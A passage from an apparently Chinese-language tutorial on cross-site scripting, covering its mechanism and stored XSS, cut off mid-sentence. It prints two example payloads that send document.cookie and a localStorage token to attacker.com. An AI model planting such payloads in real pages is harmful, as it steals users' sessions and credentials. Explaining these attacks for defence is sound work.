XSS攻击原理、类型与防御实践全解析

2021在职mba

1. XSS攻击的本质:浏览器端的信任危机

我第一次遭遇XSS攻击是在2015年维护一个电商网站时。那天凌晨两点接到运维电话,说用户投诉商品详情页不断弹出赌博广告。赶到公司后发现,攻击者利用商品评价区的漏洞注入了恶意脚本,每当用户浏览商品时就会执行这个脚本。这个事件让我深刻理解了XSS的核心特征——它不是直接攻击服务器,而是利用网站对用户输入的信任,在受害者浏览器端执行恶意操作。

XSS(Cross-Site Scripting)之所以被命名为"跨站脚本",是因为早期这类攻击常涉及跨域场景。但发展到今天,同源策略下的XSS攻击同样普遍。其本质是攻击者通过某种方式,将恶意JavaScript代码注入到网页中,使得其他用户在浏览页面时,浏览器误将这些脚本当作合法内容执行。

与SQL注入不同,XSS的攻击目标不是服务器数据库,而是前端用户。攻击者通过精心构造的脚本可以:

  • 窃取用户的会话Cookie和本地存储数据
  • 篡改页面内容显示虚假信息
  • 重定向用户到钓鱼网站
  • 利用用户权限执行敏感操作

一个经典的XSS攻击示例是评论区漏洞。假设一个博客网站允许用户提交评论,并将评论直接显示在页面上。如果未做任何过滤处理,攻击者可以提交如下评论:

html复制<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

当其他用户浏览这个页面时,他们的登录cookie就会被发送到攻击者的服务器。我在实际渗透测试中发现,这种基础漏洞在中小型网站中的存在比例高达40%。

2. XSS攻击的三大类型剖析

2.1 存储型XSS:持久化的威胁

存储型XSS(Persistent XSS)是我在安全审计中最常发现的高危漏洞。它的特点是恶意脚本会被永久保存在服务器数据库中,每当用户访问受影响页面时就会触发攻击。

典型攻击流程:

  1. 攻击者在用户输入点(如评论区、个人资料)提交恶意脚本
  2. 服务器未做过滤直接将内容存入数据库
  3. 普通用户访问包含恶意内容的页面
  4. 服务器从数据库读取并返回恶意脚本
  5. 用户浏览器执行脚本,攻击完成

去年我审计的一个CMS系统就存在典型的存储型XSS漏洞。攻击者可以在文章编辑器中插入如下payload:

html复制<img src=x onerror="(function(){
  var i=new Image;
  i.src='http://attacker.com/log?data='+
  encodeURIComponent(document.cookie+'\n'+localStorage.getItem('token'));
})()">

这个payload使用了图片加载失败触发onerror事件的技巧,比直接使用